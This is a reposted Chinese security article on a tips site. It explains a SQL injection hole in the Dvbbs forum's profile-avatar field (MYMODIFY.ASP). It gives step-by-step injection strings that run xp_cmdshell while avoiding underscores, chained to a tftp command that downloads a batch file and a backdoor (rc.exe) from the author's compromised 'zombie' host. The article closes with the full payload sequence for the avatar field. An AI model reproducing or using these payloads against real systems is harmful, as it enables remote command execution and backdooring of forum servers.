电脑常识文选 | QQ专区 | 硬件Diy | 电脑教程 | 电脑应用 | 网络应用 | Office | 操作系统 | 电脑学习 | 电脑知识库 | 网页制作 | 应用软件 | 电脑硬件
电脑故障 | 电脑网络 | 病毒防治 | 安全防护 | 电脑爱好者 | 电脑知识 | 软件应用 | 电脑医生 | cpu | 主板 | 硬盘 | 内存 | 显卡 | 显示器 | 键盘鼠标
本文相关内容
·动网的洞--again
·动网的又一新漏洞
·动网SQL版-不得不说的问题
·动网文章的新漏洞
·动网提升再提升之老鬼不是人
·动网社区超市插件漏洞
·动网论坛有史以来最大的安全漏洞
·动网论坛入侵之插件篇
·动网论坛dvBBS漏洞及入侵一则
·动网论坛6的一个安全隐患
·动态空间是什么呀?
·动态菜单一指通
·动态IP變固定ip的詳細步驟
·动态IP地址的捕获及应用
·动态嵌入式DLL木马的发现及清除
·动易SQL版新洞直接拿后台
·痘痘比较多?在淘宝买迪痘,发现比药店便宜?
·都是联众惹的祸
·都是协议惹的祸
·都是微软惹的祸?诺顿产品再成攻击目标
·都是Winamp惹的祸!IE新年再现新漏洞
·都是宽带造的福-用宽带架设个人服务器
·都有什么可以通过MP3的形式收听到呢?
·二三层交换技术与路由技术对比
·二氧化碳(干冰)在常温、常压下的各种状态和临界点是多少? iAs
·二者互相拼杀?
·二、 怎么样登陆到局域网中另一台电脑中的MYSQL数据库,能详细的描述吗?
·二、帐号等私人信息的防盗措施
·二次代理的使用技巧
·二级    计算机等级考 试
  ★动网的洞again

动网的洞again

添加记录: 网络应用  类别: 网络应用  发布日期: 2006.09.20

论坛登陆名: N.E.V.E.R
提交者邮件地址: n.e.v.e.r@tom.com
提交者QQ号码: 1143431
标题: 动网的洞——again!
版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!
内容:
捏脸的超人@2003.6.8

我不是布勃卡,如果我能一次把世界记录提高十几厘米,我绝对不会分十几次去做,但是文件只有一个一个地看,洞只有一个一个地找,所以,呵呵……
昨天答辩完后心情很好,美美的睡了一觉后起来准备上网,可是开机后不到两分钟机器就挂了。Faint!这破笔记本去年夏天也是这样,室温超过30度就TMD的罢工,南京这几天够呛,本来我还指望它撑到放假的。我也懒得急了,收拾收拾东西到学校去上机。
在学校上网先玩了会儿CS,被人打得郁闷,干脆扯乎。safechina这些常去的地方又没有更新,chinaren校友录上又是乱七八糟的,还不如看看动网的论坛。
看啊看啊,看到了MYMODIFY.ASP,按照一向的习惯,先找生成SQL语句的地方,因为SQL Injection总是发生在这种地方。嗯,看看这里:


conn.execute("update [user] set face='"&newfilename&"' where userid="&userid)


userid我就不看了,看看newfilename有没有过滤。向上查找newfilename,嗯,看到了:


newfilename="uploadFace/"&memberid&"_"&upfilename(1)


memberid我也不看了,找upfilename,还是在很近的地方,是这样的:


upfilename=split(upface,"/")


再找upface,也是在不远的上面:


set rs=conn.execute("select userid,face from [user] where userid="&userid)
upface=trim(rs(1))


不用看下去了,都没有过滤,应该是个洞。动网的大虾们对不感兴趣的东东是不会浪费时间去过滤的,比如要入库的face,现在需要的只是利用的方法。
最容易想到的是先弄一个畸形的face存到数据库里面,然后让这一段程序去读出face来生成我们希望的SQL语句。在这之前,好好的看一下conn.execute之前的代码。
哦,前面的if语句很多啊,要一个一个的顺利通过的话,需要的条件很严格……首先要upface里面只含有一个"/",其次必须要以"uploadFace/"开头,还不能含有"_",嗯,不好办啊……我赶快用脚趾头想了几秒钟,有两条路可以走吧。一、update来改管理员表,获得一个管理员的权限,上传文件,最近是有一个什么include的溢出是吧,不知道能不能用;二、调用存储过程,不过要看对方的配置怎样了。
如果是漏洞文章,写到这里就要打住,嗯,我觉得动手能力是很重要的,所以还是找了个地方测试一下,善意的,当然。
先来想想怎样可以满足那些条件,我先找了台机器测试我的想法,不就是不要包含"_"嘛。打开SQL的查询分析器,先来这个


declare @a sysname
set @a='master..xp'+char(95)+'cmdshell'
exec @a 'echo t>a.bat'--


嗯,好的,没有下划线。C:\winnt\system32下面多了一个a.bat文件,呵呵。赶快找到有漏洞的那一页(登陆->修改个人信息),先随便上传一个文件,然后在自定义头像地址中填入我们的“恶意”语句。
这里打住一下啊,自定义头像地址是有长度限制的,我不知道是不是就是face列的最大长度(估计是的),为了避免提交的语句被截断,我没有敢提交超过长度的字符串。嗯,看来要节省一点使用了,我先看了看最长能有多少。


uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'0123456789123456'--


命令行最多16个字节,好像够了吧?我觉得够了,用echo写一个批处理文件应该可以的……我先看看。


uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'echo a>>a'--


提交后我在c:\winnt\system32\下看,靠,没有文件a?
这下子头大了。这台机器上调用存储过程绝对没有问题,怎么回事情?我赶快再看源代码,啊~~~~嗯~~~~哦……(前面两个字耗时30分钟)
原来还有一个地方的条件是Err.Number = 0,开始的时候忽视了。前面程序会检查我们提交的文件是否存在(呵呵,幸好只是看看而已),我明白为什么不执行到conn.execute了,提交的内容中还有非法的字符——">",这个是不能作为文件名存在的,提交上面的内容结果是Err.Number<0,也就是说要想利用这个漏洞的话,提交的内容中还不能有非法的文件字符,例如"?","/","*"等等。
还是好办,虽然不能直接添加用户,不能重定向输出流,但用tftp上传文件还是刚刚好(简直就是量身定做)!呵呵,看看下面一系列的命令行啊:


0--------1------
1234567890123456


ren tftp.exe a
ren a a.exe
a xxxx.com get p [xxxx.com是我的肉鸡,哇哈哈哈!]
ren p r.bat [不带参数的tftp传递了一个bat文件,内容嘛,呵呵]
r.bat [到肉鸡以-i的方式下载了一个配置好的rc.exe,后门]
rc
到此结束!呵呵,已经可以做任何想要的事情了,不是吗?


最后总结一下。要利用这个漏洞,首先要有一个注册用户,还要对方是用的MSSQL版(如果是ACCESS版,虽然理论上来说可以构造畸形条件来猜测对方的表的结构和数据,但是实在是太麻烦了……)。提交的数据(可能)有长度限制,如果调用xp_cmdshell的话,要执行的命令行(可能)最多允许16个字节。整个提交的数据中不能出现,"_","/","\","*","?",">","<","│"等。
动网论坛中类似的漏洞有多少,我不知道,我也在努力的看,虽然速度有点慢,呵呵。


附上我测试的时候使用的数据:


注册 → 登陆 → 控制面板 → 修改基本资料 → 自定义头像地址:


uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'ren tftp.exe a'--


uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'ren a a.exe'--


uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'a xxxx.com get p'--


uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'ren p r.bat'--


uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'r.bat'--


uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'rc'--


嗯,不包含"_"的情况下,declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'...'--这是不是最小长度的写法,我不太清楚,我试的好几种方法中这个是最短的……也许大虾们有更好的写法,望不吝赐教!


后记:这也是一类漏洞……靠!动网的洞太多了。有个简单的利用方法,先获得管理员权限后再到recycle.asp中去注入,那里面也有洞!呵呵,我也不是跟动网过不去,只是朋友的论坛用的也是这个,帮他补的时候,也就顺便把这些东西贴出来吧!
(出处:http://www.8s8s.net)



上一篇:动网的洞--again 下一篇:动网后台也可以这样玩

电脑常识文选风云榜
声卡音箱 | 软驱光驱 | 打印机 | 机箱电源 | BIOS | 操作系统 | 局域网 | 浏览器 | 网卡 | 电脑死机

电脑常识文选 © 2006 版权所有

提示:本站致力于电脑使用常识,电脑故障排除,计算机使用小窍门的分享与传播,内容仅供参考,按此操作责任自负。